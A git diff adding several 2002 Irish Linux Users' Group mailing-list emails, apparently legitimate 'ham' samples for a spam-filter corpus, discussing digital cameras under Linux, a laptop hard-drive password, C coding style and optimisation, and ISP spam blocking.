b/bayes/spamham/easy_ham_2/00298.516883ac42f693de96cc953cf59d720b new file mode 100644 index 0000000..1b69e90 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00298.516883ac42f693de96cc953cf59d720b @@ -0,0 +1,61 @@ +From ilug-admin@linux.ie Fri Aug 9 15:05:38 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2397243FB1 + for ; Fri, 9 Aug 2002 10:05:37 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:05:37 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79E37b04371 for + ; Fri, 9 Aug 2002 15:03:07 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA11736; Fri, 9 Aug 2002 15:00:10 +0100 +Received: from odin.isw.intel.com (swfdns01.isw.intel.com [192.55.37.143]) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id PAA11707 for + ; Fri, 9 Aug 2002 15:00:04 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host swfdns01.isw.intel.com + [192.55.37.143] claimed to be odin.isw.intel.com +Received: from swsmsxvs01.isw.intel.com (swsmsxvs01.isw.intel.com + [172.28.130.22]) by odin.isw.intel.com (8.11.6/8.11.6/d: solo.mc, + v 1.42 2002/05/23 22:21:11 root Exp $) with SMTP id g79Dxwq03942 for + ; Fri, 9 Aug 2002 13:59:58 GMT +Received: from swsmsx17.isw.intel.com ([172.28.130.21]) by + swsmsxvs01.isw.intel.com (NAVGW 2.5.2.11) with SMTP id + M2002080914584320181 for ; Fri, 09 Aug 2002 14:58:43 +0100 +Received: by swsmsx17.isw.intel.com with Internet Mail Service + (5.5.2653.19) id ; Fri, 9 Aug 2002 15:03:57 +0100 +Message-Id: +From: "Satelle, StevenX" +To: "Ilug (E-mail)" +Date: Fri, 9 Aug 2002 14:59:52 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-1" +Subject: [ILUG] Digital Cameras +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Has anyone had any experience with using a digital camera with Linux, I'm +thinking of buying one. The camera will definitely be a HP camera (Since I +work for them and get a company discount) either a photosmart 318 or a +photosmart 120 and I would prefer to know before I buy if I can get it to +work or not + +Steven Satelle +TAC +i606 4372 + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00299.f5ee5d9a3056c28135db57935818e138 b/bayes/spamham/easy_ham_2/00299.f5ee5d9a3056c28135db57935818e138 new file mode 100644 index 0000000..6638904 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00299.f5ee5d9a3056c28135db57935818e138 @@ -0,0 +1,65 @@ +From ilug-admin@linux.ie Fri Aug 9 15:13:16 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 198C44406D + for ; Fri, 9 Aug 2002 10:13:16 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:13:16 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79ECib05460 for + ; Fri, 9 Aug 2002 15:12:44 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id LAA05471 for ; + Fri, 9 Aug 2002 11:49:27 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA03446; Fri, 9 Aug 2002 11:46:01 +0100 +Received: from hotmail.com (oe55.law4.hotmail.com [216.33.148.92]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id LAA03409 for ; + Fri, 9 Aug 2002 11:45:55 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host oe55.law4.hotmail.com + [216.33.148.92] claimed to be hotmail.com +Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; + Fri, 9 Aug 2002 03:45:23 -0700 +X-Originating-Ip: [213.121.187.98] +From: "David Crozier" +To: +Date: Fri, 9 Aug 2002 11:43:28 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.50.4807.1700 +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4807.1700 +Message-Id: +X-Originalarrivaltime: 09 Aug 2002 10:45:23.0880 (UTC) FILETIME=[DD80AA80:01C23F91] +Subject: [ILUG] Anyone know how I could remove a HDD password from an Acer Travelmate 201T? +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hi folks, + +I have just taken delivery of three Acer Travelmate laptops from a project +we funded which has now ended. Problem is there are HDD passwords on them +which I don't have. How could I overwrite these?? Any ideas? I have +limited technical and monetry resources here in the new job so can't be +buying new HDDs for them. + +Any Ideas? + +Dave + +www.davidcrozier.co.uk + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00300.7c83dd137e4d39f9be3db9eafefdd7e6 b/bayes/spamham/easy_ham_2/00300.7c83dd137e4d39f9be3db9eafefdd7e6 new file mode 100644 index 0000000..94a7268 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00300.7c83dd137e4d39f9be3db9eafefdd7e6 @@ -0,0 +1,72 @@ +From ilug-admin@linux.ie Fri Aug 9 15:13:15 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C28E743FB1 + for ; Fri, 9 Aug 2002 10:13:14 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:13:14 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79E7nb04858 for + ; Fri, 9 Aug 2002 15:07:49 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA12105; Fri, 9 Aug 2002 15:04:25 +0100 +Received: from mail.tradesignals.com ([217.75.2.27]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA12073 for ; Fri, + 9 Aug 2002 15:04:17 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [217.75.2.27] claimed to + be mail.tradesignals.com +Received: from docaoimh.tradesignals.com (docaoimh.tradesignals.com + [192.168.1.26]) by mail.tradesignals.com (8.11.6/8.11.6) with ESMTP id + g79E46T27004; Fri, 9 Aug 2002 15:04:06 +0100 +Received: from localhost (localhost [[UNIX: localhost]]) by + docaoimh.tradesignals.com (8.11.6/8.11.6) id g79E47Q07780; Fri, + 9 Aug 2002 15:04:07 +0100 +Content-Type: text/plain; charset="iso-8859-1" +From: Donncha O Caoimh +To: "Satelle, StevenX" , + "Ilug (E-mail)" +Subject: Re: [ILUG] Digital Cameras +Date: Fri, 9 Aug 2002 15:04:07 +0100 +X-Mailer: KMail [version 1.4] +References: +In-Reply-To: +MIME-Version: 1.0 +Message-Id: <200208091504.07502.donncha.ocaoimh@tradesignals.com> +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + PAA12073 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +If it has a usb cable it'll more than likely work. You just plug it in, load +the right modules and mount the camera as another device. You should eject +the device after unmounting just to be kind to the camera.. + +Do a google search and you'll find plenty of info. + +Donncha. + + +On Friday 09 August 2002 14:59, Satelle, StevenX wrote: +> Has anyone had any experience with using a digital camera with Linux, I'm +> thinking of buying one. The camera will definitely be a HP camera (Since I +> work for them and get a company discount) either a photosmart 318 or a +> photosmart 120 and I would prefer to know before I buy if I can get it to +> work or not +> +> Steven Satelle +> TAC +> i606 4372 + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00301.bd38f1d07527919c3c177e564ee7c908 b/bayes/spamham/easy_ham_2/00301.bd38f1d07527919c3c177e564ee7c908 new file mode 100644 index 0000000..12ed095 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00301.bd38f1d07527919c3c177e564ee7c908 @@ -0,0 +1,92 @@ +From ilug-admin@linux.ie Fri Aug 9 15:13:20 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id CAFE5440CF + for ; Fri, 9 Aug 2002 10:13:16 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:13:16 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79ECib05465 for + ; Fri, 9 Aug 2002 15:12:44 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id LAA05494 for ; + Fri, 9 Aug 2002 11:52:32 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA03793; Fri, 9 Aug 2002 11:51:21 +0100 +Received: from dspsrv.com (vir.dspsrv.com [193.120.211.34]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id LAA03768 for ; + Fri, 9 Aug 2002 11:51:16 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host vir.dspsrv.com + [193.120.211.34] claimed to be dspsrv.com +Received: from itg-gw.cr008.cwt.esat.net ([193.120.242.226] + helo=waider.ie) by dspsrv.com with asmtp (Exim 3.35 #1) id + 17d7MP-0002iE-00; Fri, 09 Aug 2002 11:51:13 +0100 +Message-Id: <3D539DDA.8060506@waider.ie> +Date: Fri, 09 Aug 2002 11:47:54 +0100 +From: Waider +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020607 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: David Crozier +Cc: ilug@linux.ie +Subject: Re: [ILUG] Anyone know how I could remove a HDD password from an Acer Travelmate 201T? +References: +X-Enigmail-Version: 0.63.3.0 +X-Enigmail-Supports: pgp-inline, pgp-mime +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +-----BEGIN PGP SIGNED MESSAGE----- +Hash: SHA1 + +David Crozier wrote: +| Hi folks, +| +| I have just taken delivery of three Acer Travelmate laptops from a project +| we funded which has now ended. Problem is there are HDD passwords on them +| which I don't have. How could I overwrite these?? Any ideas? I have +| limited technical and monetry resources here in the new job so can't be +| buying new HDDs for them. +| +| Any Ideas? +| +| Dave +| +| www.davidcrozier.co.uk +| + +Google returns about 1500 hits for the search +"remove acer hard drive password" + +Perhaps one of those might help. + +Here, I'll even quote the search URL: +http://www.google.com/search?q=remove%20acer%20hard%20drive%20password&sourceid=mozilla-xul + +Waider. +- -- +waider@waider.ie / Yes, it /is/ very personal of me +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.6 (GNU/Linux) +Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org + +iD8DBQE9U53aUXuYo0fJk9MRAhhuAKD9o7vvkLNDcxK4cgMzXLC5HWgc1QCg8afN +UBbeKiDH1hBgCxY5+y1Wmes= +=ZdI+ +-----END PGP SIGNATURE----- + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00302.9591315fff1cd2626f8e238033640130 b/bayes/spamham/easy_ham_2/00302.9591315fff1cd2626f8e238033640130 new file mode 100644 index 0000000..6f7393c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00302.9591315fff1cd2626f8e238033640130 @@ -0,0 +1,112 @@ +From ilug-admin@linux.ie Fri Aug 9 15:20:56 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1569543FB1 + for ; Fri, 9 Aug 2002 10:20:45 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:20:45 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EGNb05741 for + ; Fri, 9 Aug 2002 15:16:23 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id KAA04999 for ; + Fri, 9 Aug 2002 10:39:26 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA00427; Fri, 9 Aug 2002 10:38:34 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from smtp017.mail.yahoo.com (smtp017.mail.yahoo.com + [216.136.174.114]) by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id KAA00394 + for ; Fri, 9 Aug 2002 10:38:25 +0100 +Received: from unknown (HELO mfrenchw2k) (mfrench42@62.254.163.42 with + login) by smtp.mail.vip.sc5.yahoo.com with SMTP; 9 Aug 2002 09:38:23 -0000 +Message-Id: <009601c23f87$fdcf47b0$3864a8c0@sabeo.ie> +From: "Matthew French" +To: "Brian O'Donoghue" +Cc: +References: <55DA5264CE16D41186F600D0B74D6B0924724A@KBS01> +Subject: Re: [ILUG] slashdot EW Dijkstra humor +Date: Fri, 9 Aug 2002 10:34:41 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Brian O'Donoghue wrote a code fragment: +> For(a=0;a { +> some_thing_goes_here(); +> +> if(b=strlen(somestring)-4) +> do_something; +> +> }; + +Unfortunately strlen is a relatively expensive operation. If you are using +C++ this is not such a big issue as string.length() can be declared const. +So long as you do not modify the string object, the compiler can do the +caching for you. + +I do not think this is possible in C, though? + +You could write the same code fragment as: +============================ +for(a=0,l=strlen(somestring);a +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 028C24406D + for ; Fri, 9 Aug 2002 10:20:47 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:20:47 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EHZb05879 for + ; Fri, 9 Aug 2002 15:17:35 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id KAA04744 for ; + Fri, 9 Aug 2002 10:12:33 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA31654; Fri, 9 Aug 2002 10:11:40 +0100 +Received: from kbs01.kbs.ie ([213.190.156.48]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA31630 for ; Fri, + 9 Aug 2002 10:11:34 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [213.190.156.48] claimed + to be kbs01.kbs.ie +Received: by KBS01 with Internet Mail Service (5.5.2653.19) id ; + Fri, 9 Aug 2002 10:27:47 +0100 +Message-Id: <55DA5264CE16D41186F600D0B74D6B0924724A@KBS01> +From: "Brian O'Donoghue" +To: "'ilug@linux.ie'" +Subject: RE: [ILUG] slashdot EW Dijkstra humor +Date: Fri, 9 Aug 2002 10:27:38 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-1" +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +> Oops, I tend to feel like that most times! I tend to feel that if we +> have extremely good compilation tools, then those tools should be able +> to do the inlining and optimisation far better than I could. That's the +> theory anyway :) And there's always a tradeoff with inlining between +> speed and memory bloat (which may sometimes be no tradeoff if swap +> starts getting involved...) + +Yes and I understand that argument, however. +Sometimes I find that if I don't try to write code in the least space +possible or for example become lazy and say + +--Bad style +Bool q; + +If(q) + When I should say +If(q==true) + +Or + +--Bad optimization + +int a; +a=some_function(); +if(a) <--which apparently works but is 'bad coding style'. + +That's what I mean about letting the programming tools take care +of the coding.... it's considered 'bad' apparently. + +Or for example say you are writing a loop that says + +For(a=0;a> + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00304.732529bb6311c2fd093521748b84caf0 b/bayes/spamham/easy_ham_2/00304.732529bb6311c2fd093521748b84caf0 new file mode 100644 index 0000000..7b496d2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00304.732529bb6311c2fd093521748b84caf0 @@ -0,0 +1,87 @@ +From ilug-admin@linux.ie Fri Aug 9 15:21:02 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id F26C4440D9 + for ; Fri, 9 Aug 2002 10:20:50 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:20:51 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EHib05892 for + ; Fri, 9 Aug 2002 15:17:44 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id KAA04794 for ; + Fri, 9 Aug 2002 10:20:56 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA31927; Fri, 9 Aug 2002 10:17:19 +0100 +Received: from lhidns.gov.ie ([193.1.228.222]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA31901 for ; Fri, + 9 Aug 2002 10:17:14 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [193.1.228.222] claimed to + be lhidns.gov.ie +Received: from gw.educ.irlgov.ie (educ-gw.gov.ie [192.168.6.1] (may be + forged)) by lhidns.gov.ie (8.9.3/8.9.3) with ESMTP id KAA08675; + Fri, 9 Aug 2002 10:16:37 +0100 +Received: (from fwtk@localhost) by gw.educ.irlgov.ie (8.8.6/8.8.6) id + LAA29334; Fri, 9 Aug 2002 11:35:34 +0100 (BST) +Received: from unknown(10.0.0.13) by gw.educ.irlgov.ie via smap (V2.0) id + xmaa29321; Fri, 9 Aug 02 11:35:15 +0100 +Content-Class: urn:content-classes:message +Subject: RE: [ILUG] TMDA (WAS --> slashdot EW Dijkstra humor] +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Date: Fri, 9 Aug 2002 10:16:18 +0100 +X-Mimeole: Produced By Microsoft Exchange V6.0.5762.3 +Message-Id: <9C498074D5419A44B05349F5BF2C26301D9FE6@sdubtalex01.education.gov.ie> +X-MS-Has-Attach: +X-MS-Tnef-Correlator: +Thread-Topic: [ILUG] TMDA (WAS --> slashdot EW Dijkstra humor] +Thread-Index: AcI/hGpXu52c0d3DSLOfoRxbdSjVrQAAA5wg +From: "Ryan, Shane" +To: "Matthew French" +Cc: +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + KAA31901 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +>You could also change your e-mail to a more responsible provider. If +>Eircom +>are not up to scratch, then use somebody else and make sure you let +>Eircom +>know why you think they are so useless. You can still keep your old +>e-mail +>address if you have to. + +Since have done thanks, unfortunately Eircom +have a severe case of 'selective hearing'. It +seems that customer comments are only appreciated +when they are positive. When I was complaining +they also decided that I wasn't a paying +subscription customer but an Indigo GoFree one +and that if I didn't use Windows that there was +obviously something wrong with me (I mean who's +ever heard of Linux?). + +>To suggest that ISP's should not protect themselves against +>incompotent +>configurations would effectively be a vote in support of SPAM. + +True, I apologise for that. It was just the way +in which Eircom (didn't) deal with the ORBS problem. + +Regards, +Shane + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00305.9ed354c3c27702b881ee05fe84e44f0e b/bayes/spamham/easy_ham_2/00305.9ed354c3c27702b881ee05fe84e44f0e new file mode 100644 index 0000000..77de787 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00305.9ed354c3c27702b881ee05fe84e44f0e @@ -0,0 +1,73 @@ +From ilug-admin@linux.ie Fri Aug 9 15:21:04 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BF090440DA + for ; Fri, 9 Aug 2002 10:20:54 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:20:54 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EIab05989 for + ; Fri, 9 Aug 2002 15:18:36 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id KAA04704 for ; + Fri, 9 Aug 2002 10:09:19 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA31316; Fri, 9 Aug 2002 10:08:16 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from smtp011.mail.yahoo.com (smtp011.mail.yahoo.com + [216.136.173.31]) by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id KAA31290 + for ; Fri, 9 Aug 2002 10:08:09 +0100 +Received: from unknown (HELO mfrenchw2k) (mfrench42@62.254.163.42 with + login) by smtp.mail.vip.sc5.yahoo.com with SMTP; 9 Aug 2002 09:08:07 -0000 +Message-Id: <007c01c23f83$c3190e20$3864a8c0@sabeo.ie> +From: "Matthew French" +To: "Ryan, Shane" , +References: <9C498074D5419A44B05349F5BF2C26301CFA6C@sdubtalex01.education.gov.ie> +Subject: Re: [ILUG] TMDA (WAS --> slashdot EW Dijkstra humor] +Date: Fri, 9 Aug 2002 10:04:24 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Shan Ryan suggested: +> IMHO stopping spammers is a great idea but I'd rather +> have to hit d or delete rather than have my messages +> bounced by someone else's ISP. + +You could also change your e-mail to a more responsible provider. If Eircom +are not up to scratch, then use somebody else and make sure you let Eircom +know why you think they are so useless. You can still keep your old e-mail +address if you have to. + +To suggest that ISP's should not protect themselves against incompotent +configurations would effectively be a vote in support of SPAM. + +- Matthew + + +__________________________________________________ +Do You Yahoo!? +Everything you'll ever need on one web page +from News and Sport to Email and Music Charts +http://uk.my.yahoo.com + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00306.678ad761d0ad47e8be91a6af232e18d4 b/bayes/spamham/easy_ham_2/00306.678ad761d0ad47e8be91a6af232e18d4 new file mode 100644 index 0000000..26f3d7b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00306.678ad761d0ad47e8be91a6af232e18d4 @@ -0,0 +1,92 @@ +From ilug-admin@linux.ie Fri Aug 9 15:21:06 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C722C440DB + for ; Fri, 9 Aug 2002 10:20:55 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:20:55 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EHlb05899 for + ; Fri, 9 Aug 2002 15:17:47 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id KAA04801 for ; + Fri, 9 Aug 2002 10:21:22 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id KAA32016; Fri, 9 Aug 2002 10:18:25 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from smtp013.mail.yahoo.com (smtp013.mail.yahoo.com + [216.136.173.57]) by lugh.tuatha.org (8.9.3/8.9.3) with SMTP id KAA31986 + for ; Fri, 9 Aug 2002 10:18:18 +0100 +Received: from unknown (HELO mfrenchw2k) (mfrench42@62.254.163.42 with + login) by smtp.mail.vip.sc5.yahoo.com with SMTP; 9 Aug 2002 09:18:16 -0000 +Message-Id: <008401c23f85$2e10ac00$3864a8c0@sabeo.ie> +From: "Matthew French" +To: "Gary Coady" , + +References: <55DA5264CE16D41186F600D0B74D6B09247243@KBS01> + <20020809095233.A22778@netsoc.tcd.ie> +Subject: Re: [ILUG] slashdot EW Dijkstra humor +Date: Fri, 9 Aug 2002 10:14:33 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Gary Coady wrote: +> Oops, I tend to feel like that most times! I tend to feel that if we +> have extremely good compilation tools, then those tools should be able +> to do the inlining and optimisation far better than I could. That's the +> theory anyway :) And there's always a tradeoff with inlining between +> speed and memory bloat (which may sometimes be no tradeoff if swap +> starts getting involved...) + + +This is something that often annoys me. Programmers can spend hours inlining +code and relying on optimisation tools to improve performance. The best +performance improvement can be obtained by fixing the algorithm. + +Most function calls get made very rarely. Optimising them often makes no +sense, produces illegable code and nonsense algorithms. + +Inlining will help in functions that get called frequently and are small - +such as string manipulation routines. But these are a small part of most +applications. + +One example I frequently see is people optimising a database function call. +Most database accesses involve many abstraction layers and millions of +instruction cycles. Trying to save a few instruction cycles would be a cost +saving of, say, 5 seconds in 20 hours. + +But a simple hashmap cache of common data without any compiler or inline +optimisations can turn that same 20 hours into 10 minutes. + + + +- Matthew (who really should be writing code) + + 